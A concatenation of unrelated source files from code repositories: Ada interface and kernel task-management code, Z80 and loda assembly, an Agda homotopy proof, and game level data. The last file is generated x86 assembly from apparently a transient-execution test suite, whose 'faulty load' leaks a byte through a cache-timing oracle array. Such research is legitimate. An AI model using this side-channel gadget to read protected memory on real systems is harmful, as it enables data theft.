Any_Address_Accepted : constant String := "";
-- no filtering applied
-- bool
-- addSubscriptionAddress(const std::string& address);
procedure Add_Subscription_Address
(This : in out Transport_Receiver_Base;
Address : String;
Result : out Boolean);
-- bool
-- removeSubscriptionAddress(const std::string& address);
procedure Remove_Subscription_Address
(This : in out Transport_Receiver_Base;
Address : String;
Result : out Boolean);
-- bool
-- removeAllSubscriptionAddresses();
procedure Remove_All_Subscription_Addresses
(This : in out Transport_Receiver_Base;
Result : out Boolean);
-- bool
-- addSubscriptionAddressToSocket(const std::string& address) override;
procedure Add_Subscription_Address_To_Socket
(This : in out Transport_Receiver_Base;
Address : String;
Result : out Boolean)
is abstract;
-- bool
-- removeSubscriptionAddressFromSocket(const std::string& address) override;
procedure Remove_Subscription_Address_From_Socket
(This : in out Transport_Receiver_Base;
Address : String;
Result : out Boolean)
is abstract;
private
type Transport_Receiver_Base is abstract new Transport_Base with record
-- std::unordered_set<std::string> m_subscriptionAddresses;
Subscriptions : Subscription_Address_Set;
end record;
end UxAS.Comms.Transport.Receiver;
|
libsrc/gfx/wide/w_unplot.asm
|
Frodevan/z88dk
| 38 |
97750
|
<filename>libsrc/gfx/wide/w_unplot.asm
;
; Z88 Graphics Functions - Small C+ stubs
;
; Written around the Interlogic Standard Library
;
; Stubs Written by <NAME> - 30/9/98
;
;
; $Id: w_unplot.asm $
;
; CALLER LINKAGE FOR FUNCTION POINTERS
; ----- void unplot(int x, int y)
IF !__CPU_INTEL__
SECTION code_graphics
PUBLIC unplot
PUBLIC _unplot
EXTERN unplot_callee
EXTERN ASMDISP_UNPLOT_CALLEE
.unplot
._unplot
pop af
pop de ; y
pop hl ; x
push hl
push de
push af
jp unplot_callee + ASMDISP_UNPLOT_CALLEE
ENDIF
|
oeis/021/A021987.asm
|
neoneye/loda-programs
| 11 |
9605
|
; A021987: Decimal expansion of 1/983.
; Submitted by <NAME>(s2)
; 0,0,1,0,1,7,2,9,3,9,9,7,9,6,5,4,1,2,0,0,4,0,6,9,1,7,5,9,9,1,8,6,1,6,4,8,0,1,6,2,7,6,7,0,3,9,6,7,4,4,6,5,9,2,0,6,5,1,0,6,8,1,5,8,6,9,7,8,6,3,6,8,2,6,0,4,2,7,2,6,3,4,7,9,1,4,5,4,7,3,0,4,1,7,0,9,0,5,3
add $0,1
mov $2,10
pow $2,$0
div $2,983
mov $0,$2
mod $0,10
|
src/Homotopy.agda
|
vituscze/HoTT-lectures
| 0 |
7117
|
{-# OPTIONS --without-K #-}
module Homotopy where
open import GroupoidStructure
open import PathOperations
open import Types
infix 1 _∼_
_∼_ : ∀ {a b} {A : Set a} {B : Set b}
(f g : A → B) → Set _
f ∼ g = ∀ x → f x ≡ g x
naturality : ∀ {a b} {A : Set a} {B : Set b} {x y : A}
(f g : A → B) (H : f ∼ g) (p : x ≡ y) →
H x · ap g p ≡ ap f p · H y
naturality f g H = J
(λ x y p → H x · ap g p ≡ ap f p · H y)
(λ _ → p·id _) _ _
|
libsrc/_DEVELOPMENT/font/font_8x8/_font_8x8_einstein_system.asm
|
Frodevan/z88dk
| 640 |
14995
|
SECTION rodata_font
SECTION rodata_font_8x8
PUBLIC _font_8x8_einstein_system
PUBLIC _font_8x8_einstein_system_end
_font_8x8_einstein_system:
IF __CPU_GBZ80__
INCLUDE "target/gb/fonts/lower.asm"
ENDIF
BINARY "font_8x8_einstein_system.bin"
_font_8x8_einstein_system_end:
|
programs/oeis/049/A049108.asm
|
jmorken/loda
| 1 |
168790
|
<reponame>jmorken/loda<gh_stars>1-10
; A049108: a(n) is the number of iterations of Euler phi function needed to reach 1 starting at n (n is counted).
; 1,2,3,3,4,3,4,4,4,4,5,4,5,4,5,5,6,4,5,5,5,5,6,5,6,5,5,5,6,5,6,6,6,6,6,5,6,5,6,6,7,5,6,6,6,6,7,6,6,6,7,6,7,5,7,6,6,6,7,6,7,6,6,7,7,6,7,7,7,6,7,6,7,6,7,6,7,6,7,7,6,7,8,6,8,6,7,7,8,6,7,7,7,7,7,7,8,6,7,7,8,7,8,7,7,7,8,6,7,7,7,7,8,6,8,7,7,7,8,7,8,7,8,7,8,6,7,8,7,7,8,7,7,7,7,8,9,7,8,7,8,7,8,7,8,7,7,7,8,7,8,7,8,7,8,7,8,7,8,8,8,6,7,8,8,8,9,7,8,8,7,7,8,7,8,8,8,8,9,7,8,7,8,8,8,7,9,8,7,7,8,8,9,8,8,7,8,7,8,8,8,8,8,8,9,8,8,8,8,7,8,8,8,8,8,7,8,7,8,8,9,7,8,8,8,8,9,7,8,8,8,8,9,7,9,8,8,8,9,8,9,8,7,8,8,8,8,8,9,8
lpb $0
cal $0,10 ; Euler totient function phi(n): count numbers <= n and prime to n.
sub $0,1
add $1,1
lpe
add $1,1
|
PRG/levels/Plains/Generic4.asm
|
narfman0/smb3_pp1
| 0 |
86036
|
<reponame>narfman0/smb3_pp1<filename>PRG/levels/Plains/Generic4.asm
; Original address was $BDB8
.word $0000 ; Alternate level layout
.word $0000 ; Alternate object layout
.byte LEVEL1_SIZE_02 | LEVEL1_YSTART_170
.byte LEVEL2_BGPAL_03 | LEVEL2_OBJPAL_08 | LEVEL2_XSTART_18 | LEVEL2_UNUSEDFLAG
.byte LEVEL3_TILESET_01 | LEVEL3_VSCROLL_LOCKED
.byte LEVEL4_BGBANK_INDEX(1) | LEVEL4_INITACT_NOTHING
.byte LEVEL5_BGM_ATHLETIC | LEVEL5_TIME_300
.byte $1A, $00, $C0, $1F, $10, $08, $E2, $12, $04, $E2, $38, $02, $A1, $19, $04, $96
.byte $12, $06, $02, $40, $0C, $09, $FF
|
src/Ada/ewok-tasks.adb
|
wookey-project/ewok-legacy
| 0 |
7566
|
<filename>src/Ada/ewok-tasks.adb
--
-- Copyright 2018 The wookey project team <<EMAIL>>
-- - <NAME>
-- - <NAME>
-- - <NAME>
-- - <NAME>
-- - <NAME>
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
--
--
with m4.cpu;
with m4.cpu.instructions;
with m4.mpu;
with ewok.debug;
with ewok.layout; use ewok.layout;
with ewok.devices_shared; use ewok.devices_shared;
with ewok.ipc; use ewok.ipc;
with ewok.softirq;
with ewok.devices;
with c.kernel;
with types.c; use type types.c.t_retval;
with applications; -- Automatically generated
with sections; -- Automatically generated
package body ewok.tasks
with spark_mode => off
is
procedure idle_task
is
begin
pragma DEBUG (debug.log (debug.INFO, "IDLE thread"));
m4.cpu.enable_irq;
loop
m4.cpu.instructions.wait_for_interrupt;
end loop;
end idle_task;
procedure finished_task
is
begin
loop null; end loop;
end finished_task;
procedure create_stack
(sp : in system_address;
pc : in system_address;
params : in ewok.t_parameters;
frame_a : out ewok.t_stack_frame_access)
is
begin
frame_a := to_stack_frame_access (sp - (t_stack_frame'size / 8));
frame_a.all.R0 := params(0);
frame_a.all.R1 := params(1);
frame_a.all.R2 := params(2);
frame_a.all.R3 := params(3);
frame_a.all.R4 := 0;
frame_a.all.R5 := 0;
frame_a.all.R6 := 0;
frame_a.all.R7 := 0;
frame_a.all.R8 := 0;
frame_a.all.R9 := 0;
frame_a.all.R10 := 0;
frame_a.all.R11 := 0;
frame_a.all.R12 := 0;
frame_a.all.exc_return := m4.cpu.EXC_THREAD_MODE;
frame_a.all.LR := to_system_address (finished_task'address);
frame_a.all.PC := pc;
frame_a.all.PSR := m4.cpu.t_PSR_register'
(ISR_NUMBER => 0,
ICI_IT_lo => 0,
GE => 0,
Thumb => 1,
ICI_IT_hi => 0,
DSP_overflow => 0,
Overflow => 0,
Carry => 0,
Zero => 0,
Negative => 0);
end create_stack;
procedure set_default_values (tsk : out t_task)
is
begin
tsk.name := " ";
tsk.entry_point := 0;
tsk.ttype := TASK_TYPE_USER;
tsk.mode := TASK_MODE_MAINTHREAD;
tsk.id := ID_UNUSED;
tsk.slot := 0;
tsk.num_slots := 0;
tsk.prio := 0;
#if CONFIG_KERNEL_DOMAIN
tsk.domain := 0;
#end if;
#if CONFIG_KERNEL_SCHED_DEBUG
tsk.count := 0;
tsk.force_count := 0;
tsk.isr_count := 0;
#end if;
#if CONFIG_KERNEL_DMA_ENABLE
tsk.num_dma_shms := 0;
tsk.dma_shm :=
(others => ewok.exported.dma.t_dma_shm_info'
(granted_id => ID_UNUSED,
accessed_id => ID_UNUSED,
base => 0,
size => 0,
access_type => ewok.exported.dma.SHM_ACCESS_READ));
tsk.num_dma_id := 0;
tsk.dma_id := (others => ewok.dma_shared.ID_DMA_UNUSED);
#end if;
tsk.init_done := false;
tsk.num_devs := 0;
tsk.num_devs_mounted := 0;
tsk.device_id := (others => ewok.devices_shared.ID_DEV_UNUSED);
tsk.mounted_device := (others => ewok.devices_shared.ID_DEV_UNUSED);
tsk.data_slot_start := 0;
tsk.data_slot_end := 0;
tsk.txt_slot_start := 0;
tsk.txt_slot_end := 0;
tsk.stack_size := 0;
tsk.state := TASK_STATE_EMPTY;
tsk.isr_state := TASK_STATE_EMPTY;
tsk.ipc_endpoints := (others => NULL);
tsk.ctx.frame_a := NULL;
tsk.isr_ctx := t_isr_context'(0, ID_DEV_UNUSED, ISR_STANDARD, NULL);
end set_default_values;
procedure init_softirq_task
is
params : constant t_parameters := (others => 0);
begin
-- Setting default values
set_default_values (tasks_list(ID_SOFTIRQ));
tasks_list(ID_SOFTIRQ).name := softirq_task_name;
tasks_list(ID_SOFTIRQ).entry_point :=
to_system_address (ewok.softirq.main_task'address);
if tasks_list(ID_SOFTIRQ).entry_point mod 2 = 0 then
tasks_list(ID_SOFTIRQ).entry_point :=
tasks_list(ID_SOFTIRQ).entry_point + 1;
end if;
tasks_list(ID_SOFTIRQ).ttype := TASK_TYPE_KERNEL;
tasks_list(ID_SOFTIRQ).id := ID_SOFTIRQ;
-- Zeroing the stack
declare
stack : byte_array(1 .. STACK_SIZE_SOFTIRQ)
with address => to_address (STACK_TOP_SOFTIRQ - STACK_SIZE_SOFTIRQ);
begin
stack := (others => 0);
end;
-- Create the initial stack frame and set the stack pointer
create_stack
(STACK_TOP_SOFTIRQ,
tasks_list(ID_SOFTIRQ).entry_point,
params,
tasks_list(ID_SOFTIRQ).ctx.frame_a);
tasks_list(ID_SOFTIRQ).stack_size := STACK_SIZE_SOFTIRQ;
tasks_list(ID_SOFTIRQ).state := TASK_STATE_IDLE;
tasks_list(ID_SOFTIRQ).isr_state := TASK_STATE_IDLE;
for i in tasks_list(ID_SOFTIRQ).ipc_endpoints'range loop
tasks_list(ID_SOFTIRQ).ipc_endpoints(i) := NULL;
end loop;
pragma DEBUG (debug.log (debug.INFO, "Created SOFTIRQ context (pc: "
& system_address'image (tasks_list(ID_SOFTIRQ).entry_point)
& ") sp: "
& system_address'image
(to_system_address (tasks_list(ID_SOFTIRQ).ctx.frame_a))));
end init_softirq_task;
procedure init_idle_task
is
params : constant t_parameters := (others => 0);
begin
-- Setting default values
set_default_values (tasks_list(ID_KERNEL));
tasks_list(ID_KERNEL).name := idle_task_name;
tasks_list(ID_KERNEL).entry_point :=
to_system_address (idle_task'address);
if tasks_list(ID_KERNEL).entry_point mod 2 = 0 then
tasks_list(ID_KERNEL).entry_point :=
tasks_list(ID_KERNEL).entry_point + 1;
end if;
tasks_list(ID_KERNEL).ttype := TASK_TYPE_KERNEL;
tasks_list(ID_KERNEL).mode := TASK_MODE_MAINTHREAD;
tasks_list(ID_KERNEL).id := ID_KERNEL;
-- Zeroing the stack
declare
stack : byte_array(1 .. STACK_SIZE_IDLE)
with address => to_address (STACK_TOP_IDLE - STACK_SIZE_IDLE);
begin
stack := (others => 0);
end;
-- Create the initial stack frame and set the stack pointer
create_stack
(STACK_TOP_IDLE,
tasks_list(ID_KERNEL).entry_point,
params,
tasks_list(ID_KERNEL).ctx.frame_a);
tasks_list(ID_KERNEL).stack_size := STACK_SIZE_IDLE;
tasks_list(ID_KERNEL).state := TASK_STATE_RUNNABLE;
tasks_list(ID_KERNEL).isr_state := TASK_STATE_IDLE;
for i in tasks_list(ID_KERNEL).ipc_endpoints'range loop
tasks_list(ID_KERNEL).ipc_endpoints(i) := NULL;
end loop;
pragma DEBUG (debug.log (debug.INFO, "Created context for IDLE task (pc: "
& system_address'image (tasks_list(ID_KERNEL).entry_point)
& ") sp: "
& system_address'image
(to_system_address (tasks_list(ID_KERNEL).ctx.frame_a))));
end init_idle_task;
procedure init_apps
is
user_base : system_address;
params : t_parameters;
random : unsigned_32;
begin
if applications.t_real_task_id'last > ID_APP7 then
debug.panic ("Too many apps");
end if;
user_base := applications.txt_user_region_base;
for id in applications.list'range loop
set_default_values (tasks_list(id));
tasks_list(id).name := applications.list(id).name;
tasks_list(id).entry_point :=
user_base
+ to_unsigned_32 (applications.list(id).slot - 1)
* applications.txt_user_size / 8; -- this is MPU specific
if tasks_list(id).entry_point mod 2 = 0 then
tasks_list(id).entry_point := tasks_list(id).entry_point + 1;
end if;
tasks_list(id).ttype := TASK_TYPE_USER;
tasks_list(id).id := id;
tasks_list(id).slot := applications.list(id).slot;
tasks_list(id).num_slots := applications.list(id).num_slots;
tasks_list(id).prio := applications.list(id).priority;
#if CONFIG_KERNEL_DOMAIN
tasks_list(id).domain := applications.list(id).domain;
#end if;
#if CONFIG_KERNEL_SCHED_DEBUG
tasks_list(id).count := 0;
tasks_list(id).force_count := 0;
tasks_list(id).isr_count := 0;
#end if;
#if CONFIG_KERNEL_DMA_ENABLE
tasks_list(id).num_dma_shms := 0;
tasks_list(id).dma_shm :=
(others => ewok.exported.dma.t_dma_shm_info'
(granted_id => ID_UNUSED,
accessed_id => ID_UNUSED,
base => 0,
size => 0,
access_type => ewok.exported.dma.SHM_ACCESS_READ));
tasks_list(id).num_dma_id := 0;
tasks_list(id).dma_id :=
(others => ewok.dma_shared.ID_DMA_UNUSED);
#end if;
tasks_list(id).num_devs := 0;
tasks_list(id).num_devs_mounted := 0;
tasks_list(id).device_id := (others => ID_DEV_UNUSED);
tasks_list(id).mounted_device := (others => ID_DEV_UNUSED);
tasks_list(id).init_done := false;
tasks_list(id).data_slot_start :=
USER_DATA_BASE
+ to_unsigned_32 (tasks_list(id).slot - 1)
* USER_DATA_SIZE;
tasks_list(id).data_slot_end :=
USER_DATA_BASE
+ to_unsigned_32
(tasks_list(id).slot + tasks_list(id).num_slots - 1)
* USER_DATA_SIZE;
tasks_list(id).txt_slot_start := tasks_list(id).entry_point - 1;
tasks_list(id).txt_slot_end :=
user_base
+ to_unsigned_32
(applications.list(id).slot + tasks_list(id).num_slots - 1)
* applications.txt_user_size / 8; -- this is MPU specific
tasks_list(id).stack_bottom := applications.list(id).stack_bottom;
tasks_list(id).stack_top := applications.list(id).stack_top;
tasks_list(id).stack_size := applications.list(id).stack_size;
tasks_list(id).state := TASK_STATE_RUNNABLE;
tasks_list(id).isr_state := TASK_STATE_IDLE;
for i in tasks_list(id).ipc_endpoints'range loop
tasks_list(id).ipc_endpoints(i) := NULL;
end loop;
-- Zeroing the stack
declare
stack : byte_array(1 .. unsigned_32 (tasks_list(id).stack_size))
with address => to_address
(tasks_list(id).data_slot_end -
unsigned_32 (tasks_list(id).stack_size));
begin
stack := (others => 0);
end;
--
-- Create the initial stack frame and set the stack pointer
--
-- Getting the stack "canary"
if c.kernel.get_random_u32 (random) /= types.c.SUCCESS then
debug.panic ("Unable to get random from TRNG source");
end if;
params := t_parameters'(to_unsigned_32 (id), random, 0, 0);
create_stack
(tasks_list(id).stack_top,
tasks_list(id).entry_point,
params,
tasks_list(id).ctx.frame_a);
tasks_list(id).isr_ctx.entry_point := applications.list(id).start_isr;
pragma DEBUG (debug.log (debug.INFO, "Created task " & tasks_list(id).name
& " (pc: " & system_address'image (tasks_list(id).entry_point)
& ", data: " & system_address'image (tasks_list(id).data_slot_start)
& " - " & system_address'image (tasks_list(id).data_slot_end)
& ", sp: " & system_address'image
(to_system_address (tasks_list(id).ctx.frame_a))
& ", ID" & t_task_id'image (id) & ")"));
end loop;
end init_apps;
function get_task (id : ewok.tasks_shared.t_task_id)
return t_task_access
is
begin
return tasks_list(id)'access;
end get_task;
function get_task_id (name : t_task_name)
return ewok.tasks_shared.t_task_id
is
-- String comparison is a bit tricky here because:
-- - We want it case-unsensitive ('a' and 'A' are the same)
-- - The nul character and space ' ' are consider the same
--
-- The following inner functions are needed to effect comparisons:
-- Convert a character to uppercase
function to_upper (c : character)
return character
is
val : constant natural := character'pos (c);
begin
return
(if c in 'a' .. 'z' then character'val (val - 16#20#) else c);
end;
-- Test if a character is 'nul'
function is_nul (c : character)
return boolean
is begin
return c = ASCII.NUL or c = ' ';
end;
-- Test if the 2 strings are the same
function is_same (s1: t_task_name; s2 : t_task_name)
return boolean
is begin
for i in t_task_name'range loop
if is_nul (s1(i)) and is_nul (s2(i)) then
return true;
end if;
if to_upper (s1(i)) /= to_upper (s2(i)) then
return false;
end if;
end loop;
return true;
end;
begin
for id in applications.list'range loop
if is_same (tasks_list(id).name, name) then
return id;
end if;
end loop;
return ID_UNUSED;
end get_task_id;
#if CONFIG_KERNEL_DOMAIN
function get_domain (id : in ewok.tasks_shared.t_task_id)
return unsigned_8
is
begin
return tasks_list(id).domain;
end get_domain;
#end if;
function get_state
(id : ewok.tasks_shared.t_task_id;
mode : t_task_mode)
return t_task_state
is
begin
if mode = TASK_MODE_MAINTHREAD then
return tasks_list(id).state;
else
return tasks_list(id).isr_state;
end if;
end get_state;
procedure set_state
(id : ewok.tasks_shared.t_task_id;
mode : t_task_mode;
state : t_task_state)
is
begin
if mode = TASK_MODE_MAINTHREAD then
tasks_list(id).state := state;
else
tasks_list(id).isr_state := state;
end if;
end set_state;
function get_mode
(id : in ewok.tasks_shared.t_task_id)
return t_task_mode
is
begin
return tasks_list(id).mode;
end get_mode;
procedure set_mode
(id : in ewok.tasks_shared.t_task_id;
mode : in ewok.tasks_shared.t_task_mode)
is
begin
tasks_list(id).mode := mode;
end set_mode;
function is_ipc_waiting
(id : in ewok.tasks_shared.t_task_id)
return boolean
is
begin
for i in tasks_list(id).ipc_endpoints'range loop
if tasks_list(id).ipc_endpoints(i) /= NULL
and then
tasks_list(id).ipc_endpoints(i).state = ewok.ipc.WAIT_FOR_RECEIVER
and then
ewok.ipc.to_task_id (tasks_list(id).ipc_endpoints(i).to) = id
then
return true;
end if;
end loop;
return false;
end;
procedure append_device
(id : in ewok.tasks_shared.t_task_id;
dev_id : in ewok.devices_shared.t_device_id;
descriptor : out unsigned_8;
success : out boolean)
is
begin
if tasks_list(id).num_devs = MAX_DEVS_PER_TASK then
descriptor := 0;
success := false;
return;
end if;
for i in tasks_list(id).device_id'range loop
if tasks_list(id).device_id(i) = ID_DEV_UNUSED then
tasks_list(id).device_id(i) := dev_id;
tasks_list(id).num_devs := tasks_list(id).num_devs + 1;
descriptor := i;
success := true;
return;
end if;
end loop;
raise program_error;
end append_device;
procedure remove_device
(id : in ewok.tasks_shared.t_task_id;
dev_id : in ewok.devices_shared.t_device_id;
success : out boolean)
is
begin
for i in tasks_list(id).device_id'range loop
if tasks_list(id).device_id(i) = dev_id then
tasks_list(id).device_id(i) := ID_DEV_UNUSED;
tasks_list(id).num_devs := tasks_list(id).num_devs - 1;
success := true;
return;
end if;
end loop;
success := false;
end remove_device;
function is_mounted
(id : in ewok.tasks_shared.t_task_id;
dev_id : in ewok.devices_shared.t_device_id)
return boolean
is
begin
for i in tasks_list(id).mounted_device'range loop
if tasks_list(id).mounted_device(i) = dev_id then
return true;
end if;
end loop;
return false;
end is_mounted;
procedure mount_device
(id : in ewok.tasks_shared.t_task_id;
dev_id : in ewok.devices_shared.t_device_id;
success : out boolean)
is
ok : boolean;
begin
-- The device is already mounted
if is_mounted (id, dev_id) then
success := false;
return;
end if;
-- No available MPU region to map the device in memory
if tasks_list(id).num_devs_mounted = ewok.mpu.MAX_DEVICE_REGIONS then
success := false;
return;
end if;
-- Mounting the device
for i in tasks_list(id).mounted_device'range loop
if tasks_list(id).mounted_device(i) = ID_DEV_UNUSED then
tasks_list(id).mounted_device(i) := dev_id;
tasks_list(id).num_devs_mounted :=
tasks_list(id).num_devs_mounted + 1;
-- Mapping the device in its related MPU region
ewok.devices.mpu_mapping_device
(dev_id, ewok.mpu.device_regions(i), ok);
if not ok then
tasks_list(id).mounted_device(i) := ID_DEV_UNUSED;
tasks_list(id).num_devs_mounted :=
tasks_list(id).num_devs_mounted - 1;
success := false;
return;
end if;
success := true;
return;
end if;
end loop;
raise program_error;
end mount_device;
procedure unmount_device
(id : in ewok.tasks_shared.t_task_id;
dev_id : in ewok.devices_shared.t_device_id;
success : out boolean)
is
begin
for i in tasks_list(id).mounted_device'range loop
if tasks_list(id).mounted_device(i) = dev_id then
tasks_list(id).mounted_device(i) := ID_DEV_UNUSED;
tasks_list(id).num_devs_mounted :=
tasks_list(id).num_devs_mounted - 1;
-- Unmapping the device from its related MPU region
m4.mpu.disable_region (ewok.mpu.device_regions(i));
success := true;
return;
end if;
end loop;
success := false;
end unmount_device;
function is_real_user (id : ewok.tasks_shared.t_task_id) return boolean
is
begin
return (id in applications.t_real_task_id);
end is_real_user;
procedure set_return_value
(id : in ewok.tasks_shared.t_task_id;
mode : in t_task_mode;
val : in unsigned_32)
is
begin
case mode is
when TASK_MODE_MAINTHREAD =>
tasks_list(id).ctx.frame_a.all.R0 := val;
when TASK_MODE_ISRTHREAD =>
tasks_list(id).isr_ctx.frame_a.all.R0 := val;
end case;
end set_return_value;
procedure task_init
is
begin
for id in tasks_list'range loop
set_default_values (tasks_list(id));
end loop;
init_idle_task;
init_softirq_task;
init_apps;
sections.task_map_data;
end task_init;
function is_init_done
(id : ewok.tasks_shared.t_task_id)
return boolean
is
begin
return tasks_list(id).init_done;
end is_init_done;
end ewok.tasks;
|
Transynther/x86/_processed/NC/_zr_/i7-8650U_0xd2.log_15927_552.asm
|
ljhsiun2/medusa
| 9 |
96055
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r8
push %r9
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x18bec, %rdx
nop
nop
nop
nop
nop
inc %rax
movb $0x61, (%rdx)
nop
inc %rdx
lea addresses_WT_ht+0xdb24, %r12
nop
nop
nop
nop
xor %rsi, %rsi
vmovups (%r12), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $0, %xmm5, %r8
nop
nop
nop
nop
nop
mfence
lea addresses_normal_ht+0x1443c, %rdx
nop
nop
nop
nop
nop
and %r9, %r9
mov (%rdx), %si
nop
nop
nop
nop
and $841, %rax
lea addresses_WT_ht+0x17c14, %r14
nop
nop
nop
lfence
and $0xffffffffffffffc0, %r14
vmovaps (%r14), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $0, %xmm4, %rax
nop
nop
nop
nop
nop
and %r9, %r9
lea addresses_UC_ht+0x18a00, %r12
and %r14, %r14
movb (%r12), %r9b
nop
nop
cmp $57686, %r14
lea addresses_WC_ht+0xf894, %rsi
lea addresses_A_ht+0xed14, %rdi
clflush (%rsi)
clflush (%rdi)
nop
nop
nop
nop
nop
add $5418, %rdx
mov $1, %rcx
rep movsb
nop
nop
nop
nop
nop
and $23467, %r14
lea addresses_UC_ht+0x7b14, %rdi
nop
and $13720, %r14
movw $0x6162, (%rdi)
nop
nop
cmp $16911, %r12
lea addresses_D_ht+0x1ba09, %rsi
lea addresses_UC_ht+0x11714, %rdi
clflush (%rdi)
add %r12, %r12
mov $22, %rcx
rep movsw
nop
nop
nop
xor $59531, %r14
lea addresses_D_ht+0x8d14, %rsi
lea addresses_WC_ht+0x1294, %rdi
nop
dec %r14
mov $100, %rcx
rep movsw
nop
nop
nop
nop
nop
cmp $4961, %rax
lea addresses_WT_ht+0x10fb4, %rsi
lea addresses_UC_ht+0x12b14, %rdi
nop
nop
nop
nop
add $18703, %r12
mov $119, %rcx
rep movsl
cmp %rsi, %rsi
lea addresses_A_ht+0x1c1df, %rdi
nop
sub $22058, %r9
movups (%rdi), %xmm7
vpextrq $1, %xmm7, %rsi
nop
nop
nop
cmp $54366, %r12
lea addresses_normal_ht+0x1b214, %r14
nop
nop
nop
nop
nop
mfence
movw $0x6162, (%r14)
nop
nop
nop
cmp $16581, %rdx
lea addresses_D_ht+0x1e00c, %rsi
lea addresses_UC_ht+0x17614, %rdi
clflush (%rsi)
nop
nop
xor %rax, %rax
mov $117, %rcx
rep movsq
nop
and $62909, %r12
lea addresses_normal_ht+0xf8, %r12
nop
nop
nop
nop
nop
sub %rax, %rax
mov $0x6162636465666768, %rdx
movq %rdx, %xmm6
movups %xmm6, (%r12)
nop
nop
xor $24467, %rax
lea addresses_WT_ht+0x16654, %rax
nop
cmp $23816, %rdx
mov (%rax), %ecx
nop
nop
nop
nop
add %r8, %r8
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r8
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r14
push %r15
push %rbp
push %rdi
// Store
lea addresses_WT+0x3514, %r15
nop
nop
nop
nop
and $29439, %r11
mov $0x5152535455565758, %r13
movq %r13, (%r15)
nop
nop
nop
add %r15, %r15
// Faulty Load
mov $0x3494c20000000d14, %rdi
nop
nop
nop
add %r14, %r14
movb (%rdi), %r15b
lea oracles, %rdi
and $0xff, %r15
shlq $12, %r15
mov (%rdi,%r15,1), %r15
pop %rdi
pop %rbp
pop %r15
pop %r14
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': True, 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': True, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 11, 'same': True}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'00': 15927}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 